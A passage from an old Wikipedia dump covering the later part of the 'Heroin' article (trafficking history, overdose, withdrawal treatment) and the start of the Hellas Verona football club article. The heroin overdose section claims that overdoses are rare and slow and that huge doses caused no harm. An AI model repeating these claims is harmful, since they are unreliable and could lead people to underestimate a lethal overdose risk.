Heroin is a &amp;#956;-opioid ([[mu-opioid]]) [[agonist]]. It acts on [[endogenous]] &amp;#956;-[[opioid receptor]]s that are spread in discrete packets throughout the [[brain]], [[spinal cord]] and [[gut]] in almost all [[mammal]]s. Heroin, along with other opioids, are [[agonists]] to four endogenous [[neurotransmitters]]. They are [[Beta-endorphin|β-endorphin]], [[dynorphin]], [[leu-enkephalin]], and [[met-enkephalin]]. The body responds to heroin in the brain by reducing (and sometimes stopping) production of the endogenous opioids when heroin is present. Endorphins are regularly released in the brain and nerves and attenuate pain. Their other functions are still obscure, but are probably related to the effects produced by heroin besides analgesia ([[antitussin]], [[anti-diarrheal]]). The reduced endorphin production in heroin users creates a dependence on the heroin, and the cessation of heroin results in the extreme symptoms including pain (even in the absence of physical trauma). This set of symptoms is called [[withdrawal]] syndrome. It has an onset 6 to 8 hours after the last dose of heroin.

==Production and trafficking==
[[Image:HeroinWorld.png|thumb|250px|left|Primary worldwide producers of heroin.]]

===Manufacturing===

Heroin is produced for the black market through [[opium]] refinement processes. Unlike drugs such as [[LSD]], the production of which requires considerable expertise in [[chemistry]] and access to constituents which are now tightly controlled, the refinement of heroin from opium is a relatively simple process requiring only moderate technical know-how and common chemicals.

First [[morphine]] is isolated from the crude opium and then reacted with [[acetic anhydride]], a chemical also used in the production of [[aspirin]]. The purity of the extracted morphine determines in large part the quality of the resulting heroin. Most [[black market]] heroin is highly impure due to contaminants left after refinement of opium into morphine which then remain in the final product.

===History===

The origins of the present international illegal heroin trade can be traced back to the forcible imposition of the [[opium]] trade on [[China]] by [[Britain]] in the late 1700s. The opium trade sparked the two [[Opium Wars]] that resulted in a series of [[Unequal Treaties]] that ceded [[Hong Kong]] to Britain in mid 19th century. Later in the 20th century, Chinese [[triad]] gangs would eventually come to play a major role in the heroin trade, most of which are based in Hong Kong and Southern China.

Although it remained legal in some countries until after World War II, the anti-drug activism of the United States led most western countries to declare heroin a controlled substance in the latter half of the 20th century. 

Prior to the 1970s, much of the world's opium was grown in [[Turkey]], but in the late Sixties, under pressure from the U.S. and the [[United Nations]], Turkey agreed to eliminate its opium production, leading to the development of a major new cultivation and refining base in the so-called &quot;[[Golden Triangle]]&quot; region in South East Asia in the late 1960s.

Heroin use first appeared as a sub-cultural addiction problem in several countries in the early 20th century, but like the opium trade from which it developed, it was mainly restricted to small and fairly well-defined groups, such as Chinese migrants in western cities. 

Although it was beginning to become more prevalent by the 1930s, Asian historian and drug traffic expert [[Dr Alfred W. McCoy]] reports that heroin trafficking was virtually eliminated in the U.S. during [[World War II]]. But, McCoy contends, the Mafia was able to gain control of the heroin trade thanks in large measure to a covert deal between top Mafia leader [[Lucky Luciano]] and American military intelligence. 

McCoy claims that Luciano was asked to provide Mafia assistance in rooting out communist and/or Nazi influence on the waterfronts, and that the Army wanted Luciano to provide their forces with local Mafia assistance during America's planned invasions of Sicily and Italy; in return the jailed mobster was allowed to run his operations unhindered from his cell, and he was deported back to Sicily after the war, where he oversaw a massive expansion in his organisation's drug operations before his death. 

Luciano, who visited Vietnam, forged an alliance between his American Mafia family and the tough Corsican Mafia, establishing a wide-ranging heroin shipping, refining and distribution network based in the port town of [[Marseilles]] in France. He allegedly masterminded the network that was portrayed (semi-fictionally) in the film ''[[The French Connection]]''. 

Thanks to Corsican Mafia connections in the former French colony of Vietnam, the operation was able to forge new alliances with underworld forces there, and with triad gangs and organised crime figures in [[Hong Kong]], [[Shanghai]], [[New York City]] and [[Sydney]]. As opium production in Turkey waned, the Mafia established a lucrative new source of supply in the [[Golden Triangle]] region and funnelled the production out via South Vietnam. McCoy's most controversial assertion is that the C.I.A. pursued a policy, which he describes as &quot;radical pragmatism&quot;,  and that in the name of the fight against Communism, the Agency was covertly making expedient alliances with local warlords, Mafiosi and corrupt South Vietnamese officials.

The battalions of American servicemen in Vietnam provided a perfect test market for the Asian syndicates, and heroin use among soldiers rapidly reached near-epidemic proportions in 1970-71, with some unit medical officers reporting that as many as 15% percent of G.I.s in some units were regular users. 

In 1971 the first large consignments of South East Asian heroin were intercepted in Europe and America, and by the mid-1970s heroin addiction fulfilled its promise as a serious social problem in the United States (where it had already been growing in street traffic throughout the late 1950s and 1960s), Australia, Great Britain and many other nations, notably among youth and particularly in the African-American population in the U.S. Based on the success of this network, organised crime groups began to establish illegal trades in other highly addictive drugs, notably [[cocaine]].

===Trafficking===
[[Image:Heroin asian.jpg|thumb|right|Asian heroin]] 
[[Illegal drug trade|Traffic]] is heavy worldwide, with the biggest producer being [[Afghanistan]], which after years of war and poverty is now an area ripe for opium growing. A ''[[60 Minutes]]'' report claims that 87 percent of the world's heroin supply comes from Afghanistan.
[[Image:Balininelawrenceevidence.jpg|280px|thumb|left|Heroin concealed under the clothes of a drug smuggler.]]
Some observers, particularly political [[conservative]]s in the [[United States]], have accused [[People's Republic of China|China]] of being a leading producer of heroin, but evidence in support of this is questionable. Conversely, some radical critics have pointed the finger at the United States, citing the work of [[Dr Alfred W. McCoy]], who alleges that the C.I.A. secretly collaborated with drug syndicates and was complicit in the expansion of the global heroin trade in the late 20th century, even though he has no evidence to back up his accusations. The &quot;[[French Connection]]&quot; and [[Lucky Luciano]]'s role are cited as examples. Reporter [[Gary Webb]], who was found dead in [[2004]], maintained that the [[crack]] epidemic was related to U.S. governmental agencies. 

In the [[1980]]'s, the [[Iran-Contra Affair]] led to a [[1988]] report from the Subcommittee on terrorism, narcotics and international operations, led by Sen. [[John Kerry]], which proved contra-drugs links, including
what he deemed &quot;one of the most serious foreign policy failures for the United States&quot;, [[Manuel Noriega]]'s U.S. support. &quot;Narcotic law enforcement has often taken a back seat to other diplomatic and national security archives. The war on drugs must not in the future be sacrificed to other foreign policy considerations,&quot; stated the report [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB113/north06.pdf]. 

Heroin is one of the most profitable illicit drugs since it is compact and easily concealed. At present, opium poppies are mostly grown in the [[Middle East]], [[India]], and [[Afghanistan]], and in [[Asia]], especially in the region known as the [[Golden Triangle]] straddling [[Myanmar]], [[Thailand]], [[Vietnam]], [[Laos]] and [[Yunnan]] province in [[China]]. There is also cultivation of opium poppies in the [[Sinaloa]] region of [[Mexico]] and in [[Colombia]]. The majority of the heroin consumed in the United States comes from Mexico and Colombia. Up until 2004, [[Pakistan]] was considered as one of the biggest opium-growing countries. However, the efforts of Pakistan's [[Anti-Narcotics Force]] have since reduced the opium growing area by 59% [[as of 2001]].

Conviction for trafficking in heroin in many countries, including [[Malaysia]], [[Indonesia]], [[Thailand]] and [[Singapore]], carries the [[Use of death penalty worldwide|death penalty]].  The penalty applies even to citizens of countries where the penalty is not in place, sometimes causing controversy when foreign visitors are arrested for trafficking, for example the arrest of [[Bali Nine|nine Australians in Bali]] or the hanging of [[Australia]]n citizen [[Van Tuong Nguyen]] in [[Singapore]], both in [[2005]].

==Risks of non-medical abuse of heroin==
* [[Overdose]], sometimes fatal
* For intravenous abusers (people who inject) of heroin, the use of non-sterile needles and syringes and other materials leads to the risk of contracting blood-borne [[pathogens]] such as [[HIV]] and/or [[hepatitis]] infections as well as the risk of contracting bacterial or fungal [[endocarditis]]
* Poisoning from [[contaminants]] added to &quot;[[Adulterant|cut]]&quot; or [[dilute]] heroin

Many countries and local governments have instituted programs to supply [[sterile]] needles to people who inject illegal drugs in order to reduce some of these contingent risks. While [[Needle-exchange programme|needle exchange]]s have demonstrated an immediate [[public health]] benefit, some see such programs as tacit acceptance of illicit drug use. The [[United States]] does not support needle exchanges federally by law, though some of its state and local governments do.

A heroin [[overdose]] is usually treated with an opioid [[Receptor antagonist|antagonist]], such as [[naloxone]] ([[Narcan]]) or [[naltrexone]], which have a high affinity for [[opioid receptors]] but do not activate them. This blocks heroin and other opioid agonists and causes an immediate return of consciousness and start of withdrawal symptoms when administered intraveneously. The [[half-life]] of these antagonists is usually much shorter than that of the opiate drugs they are used to block, so the antagonist usually has to be re-administered multiple times until the opiate has been metabolized by the body.

Contrary to popular belief, a heroin overdose is not fast-acting. Stories about people who &quot;OD with the needle still in their arm&quot; and the like are not attributable to heroin overdoses, but rather they are very often the result of a fatal reaction with the adulterant. [[Quinine]] is notorious for causing such deaths. In the case of an actual heroin overdose, it very often takes many hours to die. 

Heroin overdoses are more rare than one might first expect. As noted above, an overdose is immediately reversible with an [[opioid antagonist]] injection. The overwhelmingly vast majority of reported heroin overdoses are actually adulterant poisonings or fatal interactions with alcohol or methadone. True overdoses are rare because the [[LD50|LD&lt;sub&gt;50&lt;/sub&gt;]] for a person already addicted is prohibitively high, to the point that there is no general medical consensus on where to place it. Several studies done in the 1920s gave addicts doses of 1,600&amp;ndash;1,800&amp;nbsp;mg of heroin in one sitting, and no adverse effects were reported. This is approximately 160&amp;ndash;180 times a normal recreational dose. Even for a non-addict, the LD&lt;sub&gt;50&lt;/sub&gt; can be credibly placed above 350&amp;nbsp;mg.

It should be noted, however, that street heroin is of widely varying and unpredictable purity. This means that an addict may prepare what they consider to be a moderate dose while actually taking far more than intended. Also, relapsing addicts after a period of abstinence have tolerances below what they were during active addiction. If a dose comparable to their previous use is taken an overdose often results.

==Withdrawal==

[[Image:Heroin black tar.jpg|thumb|left|[[Black tar heroin]]]]

The withdrawal syndrome from heroin (or any other short-acting opioid) can begin within 6 hours of discontinuation of sustained use of the drug: [[sweating]], [[malaise]], [[anxiety]], [[clinical depression|depression]], persistent and intense penile erection in males ([[priapism]]), general feeling of heaviness, cramp-like pains in the limbs, yawning and [[lacrimation]], sleep difficulties, cold sweats, chills, severe muscle and bone aches not precipitated by any physical trauma, [[nausea]] and [[vomiting]], [[diarrhea]], gooseflesh (hence, the term &quot;[[cold turkey]]&quot;), [[cramps]], and [[fever]] occur. Many addicts also complain of a painful condition, the so-called &quot;itchy blood&quot;, which often results in compulsive scratching that causes bruises and sometimes ruptures the skin leaving scabs. Abrupt termination of heroin use causes muscle spasms in the legs of the user ([[restless leg syndrome]]), hence the term &quot;[[kicking the habit]]&quot;. However, it must be noted that each person's symptoms can be unique. Users seeking to take the &quot;[[cold turkey]]&quot; (without any preparation or accompaniments) approach are generally more likely to experience the negative effects of withdrawal in a more pronounced manner.

Two general approaches are available to ease opioid withdrawal. The first is to substitute a longer-acting opioid such as [[methadone]] or [[buprenorphine]] for heroin or another short-acting opioid and then slowly taper the dose. The other approach, which can be used alone or in combination, is to relieve withdrawal symptoms with non-opioid medications.

In the second approach, [[benzodiazepine|benzodiazepines]] such as [[diazepam]] (Valium) ease the often extreme anxiety of opioid withdrawal. The most common [[benzodiazepine]] employed as part of the detox protocol in these situations is [[oxazepam]] ([[Serax]]). However, it is important to note that benzodiazepine use may also lead to a dependence, and many opiate addicts also abuse other central nervous system [[depressants]] including [[benzodiazepines]] and [[barbituates]]. Also, though unpleasant, opiate withdrawal seldom has potential to become fatal, whereas complications related to withdrawal from [[benzodiazepines]], [[barbiturates]] and [[ethanol|alcohol]] (such as [[seizures]], [[cardiac arrest]], and [[delirium tremens]]) can prove hazardous and potentially fatal. Many symptoms of opioid withdrawal are due to rebound hyperactivity of the [[sympathetic nervous system]], and this can be suppressed with [[clonidine]] (Catapres), a centrally-acting alpha-2 [[agonist]] primarily used to treat [[hypertension]].

[[Buprenorphine]] is one of the most recent opioid agonist/antagonist used for treating addiction. It develops tolerance much slower than heroin or methadone. It also has a withdrawal many times softer than heroin and other opioids. It can be admnistered up to every 24-48 hrs. By itself buprenorphine has low overdose dangers. Buprenorphine is a kappa-opioid receptor antagonist. This gives the drug an anti-depressant effect, increasing physical and intellectual activity.

[[Methadone]] is another &amp;#956;-opioid agonist often used to substitute for heroin in treatment for heroin addiction. Compared to heroin, methadone is well (but slowly) absorbed orally and has a much longer duration of action. Thus [[methadone maintenance]] avoids the rapid cycling between [[intoxication]] and [[withdrawal]] associated with heroin addiction. In this way, methadone has shown some success as a &quot;less harmful substitute&quot;; despite being much more addictive than heroin, and is recommended for those who have repeatedly failed to complete detoxification. As of [[2005]], the &amp;#956;-opioid agonist [[buprenorphine]] is also being used to manage heroin addiction, being a superior, though still imperfect and not yet widely known alternative to methadone. Note that methadone, since it is longer-acting, produces withdrawal symptoms that are usually less severe and that appear later than with heroin, but may last longer. 

Researchers have discovered two other opioid [[antagonists]]: [[naloxone]] and the longer-acting [[naltrexone]]. These two medications block the effects of heroin, as well as the other opioids at the receptor site. Recent studies have suggested that the addition of naloxone and naltrixone may improve the success rate in treatment programs when combined with the traditional therapy. 

The [[University of Chicago]] undertook preliminary development of a heroin vaccine in [[monkeys]] during the [[1970s]], but it was abandoned.  There were two main reasons for this.  Firstly, when immunised monkeys had an increase in dose of x16, their [[antibodies]] became [[saturation (chemistry) | saturated]] and the monkey had the same effect from heroin as non-immunised monkeys.  Secondly, until they reached the x16 point immunised monkeys would substitute other drugs to get a heroin-like effect. These factors suggested that immunised human addicts would simply either take massive quantities of heroin, or switch to other hard drugs, which is known as [[cross-tolerance]].

There also is a controversial treatment for heroin addiction based on an African
drug, [[ibogaine]]. Many people travel abroad for ibogaine treatments that
generally stop the addiction for 3 months or more.

==Drug interactions==

Opiates are strong [[central nervous system]] [[depressants]], but regular users develop [[physiological tolerance]] allowing gradually increased dosages. In combination with other central nervous system depressants, heroin may still kill experienced users.

[[Toxicology]] studies of heroin-related deaths reveal frequent involvement of other central nervous system depressants, including [[alcohol]], [[benzodiazepines]] such as [[diazepam]] ([[valium]]), and occasionally [[methadone]]. Ironically, benzodiazepines and methadone are often used in the treatment of heroin addiction.

[[Cocaine]] also proves to be often fatal when used in combination with heroin. Though &quot;[[speedballs]]&quot; (when injected) or &quot;[[moonrocks]]&quot; (when smoked) are a popular mix of the two drugs used among addicts, combinations of [[stimulants]] and [[depressants]] can have unpredictable and sometimes fatal results.

==Culture==
{{main|Heroin in popular culture}}
Heroin has inspired countless writers, musicians and other artists over the past century of use.

==See also==

{{wikinewspar| 2005 Afghan opium harvest begins}}
* [[Black Tar Heroin]]
* [[Hillbilly heroin|Hillbilly Heroin]]
* [[China white|China White]]
* [[Methadone]]
* [[Recreational drug use]]
* [[Psychoactive drug]]
* [[Scag]]
* [[List of people known to be addicted to opiates]]
*[[List of famous drug smugglers]]
*[[Opium]]
*[[Poppy]]

==External links==
{{Commons|Heroin}}
* [http://www.heroin-detox.com Forum about opiate addiction]
* [http://www.geopium.org Geopium: Geopolitics of Illicit Drugs in Asia, especially opium and heroin production and trafficking in and around Afghanistan and Burma (Articles and maps and French and English)]
* [http://www.thegooddrugsguide.com/heroin/index.htm The Good Drugs Guide - Heroin]
* [http://www.heroinhelper.com/ Heroin Helper]
* [http://www.cia.gov/cia/publications/heroin/flowers_to_heroin.htm From Flowers to Heroin], CIA publication.
* [http://wired-vig.wired.com/wired/archive/13.04/bupe.html?pg=1&amp;topic=bupe&amp;topic_set= The mismanagement of methadone]
*[http://www.erowid.org/chemicals/heroin/heroin.shtml Erowid heroin vault]
*[http://navisite.collegeclub.com/servlet/channels.ChannelArticleServlet?articleid=4461&amp;areaid=8&amp;grid-messageboard-page=1 Harrowing Heroin by Geoff Morton]
*[http://www.druglibrary.org/schaffer/Library/studies/cu/cumenu.htm The Consumers Union Report - Licit and Illicit Drugs]
*[http://www.NAABT.org/ National Alliance of Advocates for Buprenorphine Treatment - non-profit education website for treatment of Heroin addiction]
*[http://www.MethadoneSupport.org  Methadone Support Org. - support of Medically assisted treatment for Heroin addiction]
*[http://www.whale.to/v/kalokerinos2.html &quot;The Orthomolecular Treatment of Drug Addiction&quot; by Archie Kalokerinos M.D.]
*[http://www.nida.nih.gov/Infofacts/heroin.html NIDA InfoFacts on Heroin]
*[http://www.whitehousedrugpolicy.gov/drugfact/heroin/ ONDCP Drug Facts]
*[http://www.paksearch.com/globe/2001/june/narcotics.html Role of Government of Pakistan in Narcotics Control]
*[http://usinfo.state.gov/is/Archive_Index/Pakistans_Cultivation_of_Opium_Drops.html United States Department of State fact sheet: anti-narcotics efforts in Pakistan] - dated [[June 7]], [[2002]]
*[http://news.bbc.co.uk/1/hi/magazine/4647018.stm BBC Article entitled 'When Heroin Was Legal'. References to Britain and the United States]

==Books==

* ''Heroin'' (1998) ISBN 1568381530
* ''Heroin Century'' (2002) ISBN 0415278996
* ''This is Heroin'' (2002) ISBN 1860744249
* ''The Heroin User's Handbook'' by [[Francis Moraes]] (paperback 2004) ISBN 1559502169
* ''The Little Book of Heroin'' by [[Francis Moraes]] (paperback 2000) ISBN 0914171984
*Heroin: A True Story of Addiction, Hope and Truimph by Julie O'Toole (paperback 2005) [[ISBN:1905379013]]
{{Analgesics}}

[[Category:Acetates]]
[[Category:Alkaloids]]
[[Category:Analgesics]]
[[Category:Ethers]]
[[Category:Mu-opioid agonists]]
[[Category:Schedule I controlled substances]]
[[Category:Semisynthetic opioids]]
[[Category:Class A drugs]]

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  <page>
    <title>Hellas Verona F.C.</title>
    <id>14035</id>
    <revision>
      <id>41855888</id>
      <timestamp>2006-03-02T04:20:37Z</timestamp>
      <contributor>
        <username>Angelo.romano</username>
        <id>50882</id>
      </contributor>
      <minor />
      <comment>interwiki</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Verona |
  image    = [[Image:Hellas_verona_fc.gif|75px|logo]] |
  fullname = Hellas Verona&lt;br&gt;Football Club SpA |
  nickname = ''Gialloblu'', &lt;br/&gt; ''Mastini'', &lt;br/&gt; ''Scaligeri''|
  founded  = [[1903]] |
  ground   = [[Stadio Marcantonio Bentegodi]],&lt;br/&gt;[[Verona]], [[Italy]] |
  capacity = 44,758 | 
  chairman = [[Giambattista Pastorello]] |
  manager  = [[Massimo Ficcadenti]] |
  league   = [[Serie B]] |
  season   = 2004-05 |
  position = [[Serie B]], 7th |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=007CBC|body1=007CBC|rightarm1=007CBC|shorts1=007CBC|socks1=007CBC|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FDD918|body2=FDD918|rightarm2=FDD918|shorts2=FDD918|socks2=FDD918|
}}
[[Image:HV01.gif|left|70px|]]

'''Hellas Verona Football Club S.p.A''' is an [[Italy|Italian]] [[football (soccer)|football]] team, based in [[Verona]], [[Veneto]]. The team's colours are yellow and blue and ''gialloblu'' (literally, &quot;yellow-blue&quot; in [[Italian language|Italian]]) is the team's most widely used nickname. The colours represent the city itself and Verona's [[emblem]] (a yellow cross on a blue shield) appears on most team apparel. Two more team nicknames are ''mastini'' (the [[mastiff|mastiffs]]) and ''scaligeri'', both references to ''Mastino I della Scala'' of the [[Scaliger|Della Scala princes]] that ruled the city during the [[thirteenth century|thirteenth]] and [[fourteenth century|fourteenth centuries]]. 

[[Image:HV02.gif|left|70px|]]
The [[Scaliger|Scala family]] [[coat of arms]] is depicted on the team's jersey and on its trademark logo as a stylized image of two large, powerful [[mastiff|mastiffs]] facing opposite directions.  In essence, the term &quot;''scaligeri''&quot;  is synonymous with Veronese, and therefore can describe anything or anyone from Verona (eg., [[A.C. ChievoVerona|Chievo Verona]], a team that also links itself to the Scala family - specifically to ''Cangrande della Scala'').

== Origins and Early History ==

Founded in [[1903]] by a group of university students, the club was named ''Hellas'' (the Greek word for [[Greece]]), at the request of a professor of [[Classics]]. At a time in which football was played seriously only in the larger cities of the Northwest of [[Italy]], most of Verona was indifferent to the growing sport. However, when in [[1906]] two city teams chose the city's Roman amphitheatre as a venue to showcase the game, crowd enthusiasm and media interest began to rise. 

During these first few years Hellas were one of 3 or 4 area teams playing mainly at a municipal level while scrapping against city rivals Bentegodi to become the city's premier football outfit. By the [[1907]]-[[1908]] season Hellas were playing against regional teams and an intense rivalry with [[Vicenza Calcio]] that lasts to this day is born.

From [[1898]] to [[1926]] Italian football was organised into regional groups. In this period Hellas was one of the founding teams of the early league and often among its top final contenders. In [[1911]] the city helped Hellas replace the early, gritty football fields with a proper venue. This allowed the team to take part in its first regional tournament which, until [[1926]], was the qualifying stage for the national title.

In [[1919]], following a return to activity after a four year suspension of all football competition in Italy during [[World War One]] the team merged with city rival Verona and changed its name to Hellas Verona. Between [[1926]] and [[1929]] the elite &quot;''Campionato Nazionale''&quot; assimilated the top sides from the various regional groups and Hellas Verona joined the privileged teams, yet struggled to remain competitive. 

[[Serie A]], as it is structured today, began in [[1929]] when the ''Campionato Nazionale'' turned into a professional league. Still an amateur team, Hellas merged with two city rivals, Bentegodi and Scaligera, to form AC Verona. Hoping to build a first class contender for future years the new team debuted in Serie B in [[1929]]. It would take the ''gialloblù'' 28 years to finally achieve their goal. After first being promoted to [[Serie A]] for one season in [[1957]]-[[1958|58]], in [[1959]] the team merged with another city rival (called Hellas) and commemorated its beginnings by changing its name to Hellas Verona AC.

== Success in the '70s and '80s ==

'''The Return to Serie A and the 3 Coppa Italia Finals'''

Coached by [[Nils Liedholm]], the team returned to Serie A in [[1968]] and remained in the elite league almost without interruption until [[1990]]. Along the way it scored a famous 5-3 win in the [[1972]]-[[1973]] season that cost AC Milan the ''scudetto'' (the Serie A title). The fact that the result came late during the last matchday of the season makes the sudden and unexpected end to the ''rossoneri'''s title ambitions all the more memorable. 

In [[1973]]-[[1974]] Hellas finished the season in 4th last place thus avoiding relegation, but were sent down to [[Serie B]] during the summer months as a result of a scandal involving team president Saverio Garonzi. After a year in [[Serie B]] Hellas Verona returned to Serie A.

In the [[1975]]-[[1976]] season the team had a successful run in the [[Coppa Italia]], eliminating highly rated teams such as [[Torino Calcio|AC Torino]], [[Cagliari Calcio]], and [[Internazionale Milano F.C.|Internazionale]] from the tournament. However, in their first ever final in the competition Hellas Verona were trounced 4-0 by [[SSC Napoli]].

Under the leadership of legendary coach [[Osvaldo Bagnoli]], in [[1982]]-[[1983]] the team secured 4th place in Serie A (its highest finish at the time) and even lead the Serie A standings for a few weeks. The same season Hellas again reached the Coppa Italia final. After a 2-0 home victory Hellas Verona travelled to Turin to play [[Juventus]] where the team lost the Cup in extra-time (3-0 defeat). 

Heartbreak would follow in the 1983-[[1984]] season when the team again reached the Coppa Italia final only to lose the Cup in the final minutes of the return match against defending Serie A champions [[A.S. Roma|AS Roma]].

'''The 1984-1985 ''scudetto'''''

Hellas Verona AC is certainly most famous for going on to win the ''scudetto'' the following season ([[1984]]-[[1985|85]]) and for its regular presence in European club football in the mid [[1980s]]. In those years its usual lineup was the following:  [[Claudio Garella]]; Mauro Ferroni, Luciano Marangon, [[Roberto Tricella]], Silvano Fontolan; [[Hans-Peter Briegel]], [[Pietro Fanna]], Domenico Volpati, [[Antonio Di Gennaro]]; [[Giuseppe Galderisi]], [[Preben Elkjær Larsen|Preben Larsen Elkjaer]] and coach [[Osvaldo Bagnoli]]. Subs Luciano Bruni, Luigi Sacchetti and Fabio Turchetta were important regular contributors as well.

Although the [[1984]]-[[1985]] squad was made up of a healthy mix of emerging players and mature stars, at the beginning of the season no one would have regarded the team as having the necessary ingredients to make it to the end. Certainly the additions of [[Hans-Peter Briegel]] in midfield and of danish striker [[Preben Elkjær Larsen|Preben Larsen Elkjaer]] to an attack that already featured the wing play of [[Pietro Fanna]], the creative abilities of [[Antonio Di Gennaro]] and the scoring touch of [[Giuseppe Galderisi]] were to prove crucial.

To mention a few of the memorable milestones on the road to the ''scudetto'': a decisive win against [[Juventus FC]] (2-0) set the stage early in the championship; an away win over [[Udinese Calcio]] (5-3) ended any speculation that the team was losing energy at the midway point; three straight wins (including a hard fought 1-0 victory against a strong AS Roma side) served notice that the team had kept its polish and focus intact during their rival's final surge; and a 1-1 draw in [[Bergamo]] against [[Atalanta B.C.|Atalanta]] secured the title with a game in hand. 

Hellas Verona finished the year with a 15-13-2 record and 43 points, 4 points ahead of 
[[Torino Calcio|Torino]] with [[Internazionale Milano F.C.|Internazionale]] and [[U.C. Sampdoria|Sampdoria]] rounding out the top four spots.

'''On the European Stage'''

The team made its first European appearance in 1983-1984 in the [[UEFA Cup]] and were knocked out in the second round of the tournament. In [[1985|1986]] Hellas Verona AC were eliminated from the [[UEFA Champions League|European Cup]] by fellow Serie A side [[Juventus]] (the title holders after their victory the previous year over [[Liverpool F.C.|Liverpool]]). In [[1987|1988]] the team had its best international result when it reached the UEFA Cup quarter-finals with four victories and three draws. The decisive defeat came from German side [[Werder Bremen]].

== Recent years ==

These were more than mere modest achievements for a mid-size city with a limited appeal to fans across the nation. Soon enough financial difficulties caught up with team managers. In [[1991]] the team folded and was reborn as Verona FC, regularly moving to and fro between Serie A and Serie B ever since. In [[1995]] the name was changed back to Hellas Verona FC.

After a 3 year stay, their last stint in [[Serie A]] ended in grief in [[2002]]. That season emerging international talents such as [[Adrian Mutu]], [[Mauro Camoranesi]], [[Alberto Gilardino]], [[Martin Laursen]], [[Massimo Oddo]], [[Marco Cassetti]] and coach [[Alberto Malesani]] failed to capitalize on an excellent start and dropped to 4th last place for the first time all season exactly on the last available matchday. 

'''The derby with Chievo Verona'''

That same season, with [[A.C. ChievoVerona|Chievo Verona]] also in the country's premier football league, Verona joined [[Milan]], [[Rome]], [[Turin]] and [[Genoa]] to become only the fifth Italian city to host a Serie A derby (known as ''il derby della Scala''). The first ever Verona derby came on matchday 11 and saw the city's teams both ranked among the top 4 in Serie A. The match was won by the Hellas side, 3-2. Chievo reciprocated the favour in the return match in the spring: 2-1.

'''The present'''

Two years later ([[2003]]-[[2004]] season) Hellas Verona struggled in [[Serie B]] and spent most of the season fighting off the unthinkable: a disconcerting relegation to Serie C1. Undeterred, the fans supported their team and a string of late season wins warded off the danger. Over 5000 of them followed Hellas to Como on the last day of the season to celebrate (see photo, left). In [[2004]]-[[2005]] things have looked much brighter for the team. After a rocky start Hellas put together a string of results and climbed to third spot. The gialloblù held on to the position until January [[2005]], when transfers weakened the team, yet they managed to take the battle for Serie A to the last day of the season.

== The supporters ==

Apart from the many local fan clubs whose main role is (for example) to provide a meeting place for fans and friends and organize away trips, since the late 60s many Italian fans rely on organized stadium groups known as [[Ultras]]. The main goal is to choreograph fan support with flags, banners, coloured smoke screens, drums, and chanting in unison. For most teams city rivalries, colours, coat of arms, symbols, and the overall iconography have roots in the [[Middle Ages]] and early [[Renaissance]]. As the chosen names of most organized groups, the youth of most members, and the late 60s origins may suggest, the social trend is best understood as part of the popular culture that centres around the year [[1968]].

The most well known organized fan group of the team was called ''brigate gialloblù'' or &quot;BG&quot; (the yellowblue [[brigades]]&quot;). It came together in [[1971]] and no longer exists as such. Although to this day virtually all fans call themselves BG members when at the Bentegodi, the hardcore group numbers about a few thousand members. From producing flags large enough to cover the entire ''curva sud'' section (virtually a third of the stadium) to singing [[Giuseppe Verdi]]'s [[Aida]], the BG (and Hellas fans in general) are one of Italy's most dedicated, immaginative and respected supporters.

Most Hellas fans have always kept football and politics apart, but [[right wing]] (''verona front'', ''hellas army'') and [[left wing]] (''rude boys'') groups coexisted within the BG, as they do among today's Hellas fans. Then and now, the wide majority of the fans are joyous and well behaved, however small groups, typically [[right wing]] extremists, aiming to provoke, cause outrage and attract attention (whatever the cost) hide behind the BG. 

Repeated incidents throughout the [[1970s]] and violence in the late [[1980s]] drew plenty of media attention and Verona was singled out. Unfortunately similar events occur elsewhere in Italian stadiums. The founders and &quot;hard-core&quot; groups within the BG did what they could to keep younger members from emulating or even joining the extremists, yet action needed to be taken. After 20 years, in late [[1991]] the various BG groups unanimously decided to disband.

Today acts of violence are extremely rare and fans attend games to display their affection for Hellas Verona. However, once or twice a year controversial choruses do make headlines and more needs to be done (by fans, team and local institutions) to keep the trend under check. Smaller organized groups still exist and regularly sing the Aida (the old BG anthem) in tribute.

Hellas Verona fans are twinned with the supporters of [[ACF Fiorentina|Fiorentina]]. The friendship dates back to the mid 80s, when several ''viola'' crowd favourites ([[Antonio Di Gennaro]], [[Luigi Sacchetti]] and [[Luciano Bruni]]) left Florence and won the scudetto with Hellas Verona.

The ''gialloblu'' are bitter rivals of [[Vicenza Calcio|Vicenza]], [[Brescia Calcio|Brescia]], [[A.C. ChievoVerona|Chievo Verona]], and [[S.S.C. Venezia|Venezia]]. Like many other Serie A fans, Hellas supporters have no liking for [[Juventus F.C.|Juventus]], [[A.C. Milan|Milan]] and [[Internazionale Milano F.C.|Inter]] (the three biggest [[Football team|clubs]] in [[Italian football]]).

== Other players and former coaches ==

In addition to the 1984-85 line-up listed above, the following players have also worn the Hellas Verona jersey: [[Aldo Olivieri]], [[Guido Tavellin]], [[Sergio Sega]], [[Ugo Pozzan]], [[Angelo Orazi]], [[Emanuele Del Vecchio]], [[Osvaldo Bagnoli]], [[Sergio Clerici]], [[Gianfranco Zigoni]], [[Emiliano Mascetti]], [[Renato Zaccarelli]], [[Wladyslav Zmuda]], [[Domenico Penzo]], [[Joe Jordan (footballer)|Joe Jordan]], [[José Dirceu (footballer)|José Dirceu]], [[Claudio Caniggia]], [[Paolo Rossi]], [[Angelo Peruzzi]], [[Robert Prytz]], [[Dragan Stojkovic]], [[Damiano Tommasi]], [[Gianluca Pessotto]], [[Filippo Inzaghi]], [[Sebastien Frey]], [[Aimo Diana]], [[Adrian Mutu]], [[Mauro Camoranesi]], [[Alberto Gilardino]], [[Martin Laursen]], [[Massimo Oddo]], [[Marco Cassetti]]. 

Coaches: [[Angelo Piccioli]], [[Giancarlo Cadè]], [[Ferruccio Valcareggi]] (who coached the [[Italy national football team|''Azzurri'']] from 1966-1974, leading them to the {{Wc|1970}} final), [[Nils Liedholm]], [[Osvaldo Bagnoli]], [[Sergio Maddè]], [[Attilio Perotti]],  [[Cesare Prandelli]] and [[Alberto Malesani]].

== Current first team squad ==
''As of February 11, 2006''
{{Fs start}}
{{Fs player|no=1|name=[[Gianluca Pegolo]]|pos=GK|nat=Italy}}
{{Fs player|no=2|name=[[Mattia Cassani]]|pos=DF|nat=Italy}}
{{Fs player|no=3|name=[[Dario Biasi]]|pos=DF|nat=Italy}}
